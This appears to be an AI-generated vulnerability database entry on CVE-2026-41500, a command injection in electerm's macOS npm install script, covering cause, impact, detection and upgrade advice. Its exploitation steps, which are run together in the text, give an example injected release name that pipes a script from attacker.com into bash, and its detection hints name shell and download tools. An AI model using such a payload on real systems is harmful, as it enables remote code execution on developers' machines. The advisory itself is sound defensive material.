
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-41500 is a critical command injection vulnerability in electerm, an open-source terminal/SSH/SFTP/RDP/VNC client. The flaw exists in npm/install.js at line 150, where the runMac() function appends attacker-controlled remote releaseInfo.name data directly into a shell exec("open ...") call without any sanitization or validation. All versions prior to 3.3.8 (specifically ≤3.2.0 per the npm package advisory) are affected, with the fix published in version 3.3.8. It carries a CVSS v3.1 base score of 9.8 (Critical) (GitHub Advisory, Feedly).
The root cause is CWE-77 (Improper Neutralization of Special Elements used in a Command — Command Injection). During the npm post-install process on macOS, the runMac() function in npm/install.js fetches remote release metadata and interpolates the releaseInfo.name field directly into a shell command string passed to Node.js's exec() without escaping or allowlist validation. An attacker who can control or intercept the remote release metadata endpoint (e.g., via a supply chain attack or man-in-the-middle) can inject arbitrary shell commands that execute during npm install -g electerm. The patch (commit 59708b3) rewrites the install script to eliminate the unsafe exec("open ...") pattern and replaces it with safer, parameterized process spawning (GitHub Advisory, Patch Commit).
Successful exploitation allows an attacker to execute arbitrary system commands on the victim's macOS machine with the privileges of the user running npm install -g electerm, resulting in full confidentiality, integrity, and availability compromise. An attacker could exfiltrate sensitive data (SSH keys, credentials, source code), tamper with local files, install persistent backdoors, or use the compromised developer machine as a pivot point for lateral movement into internal networks or CI/CD pipelines (GitHub Advisory, Feedly).
No public proof-of-concept exploit code has been identified, and there is no confirmed evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.0075 (0.75%), indicating a currently low probability of active exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the attack requires no authentication and no user interaction beyond the victim running a standard npm install command, making it highly attractive for supply chain attack scenarios (Feedly, GitHub Advisory).
npm install -g electerm on macOS.releaseInfo.name: Inject shell metacharacters into the release name field, e.g., electerm-1.0.0; curl http://attacker.com/shell.sh | bash; or backtick-enclosed commands.npm install -g electerm or trigger an update check, causing runMac() in npm/install.js:150 to execute exec("open " + releaseInfo.name) with the injected payload.node during npm install, such as bash, sh, curl, wget, or python, particularly with network-connecting arguments./tmp, or shell configuration files (.bashrc, .zshrc, .bash_profile) created around the time of electerm installation; unexpected cron jobs or launch agents added under ~/Library/LaunchAgents/.log show) entries showing exec or open calls with anomalous arguments containing shell metacharacters during the npm install timeframe; npm install logs (~/.npm/_logs/) showing unexpected command execution output.Users should upgrade electerm to version 3.3.8 or later, which contains the security fix in commit 59708b3. The patched version is already published to npm, so running npm install -g electerm will install the fixed version. No configuration-based workaround exists for the vulnerable versions; the only remediation is upgrading. Users who installed electerm via npm on macOS with a version ≤3.2.0 should treat their systems as potentially compromised and audit for signs of unauthorized activity (GitHub Advisory, Release v3.3.8).
The vulnerability was discovered by researchers Yuremin and FORIMOC and disclosed via GitHub Security Advisories on April 15, 2026. The Hacker Wire covered the issue with an article titled "electerm 3.3.8 Critical Command Injection" shortly after disclosure. Social media activity on Mastodon noted the advisory, and the CVE was tracked across multiple vulnerability aggregators including VulnDB and CVEFeed (GitHub Advisory, The Hacker Wire).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."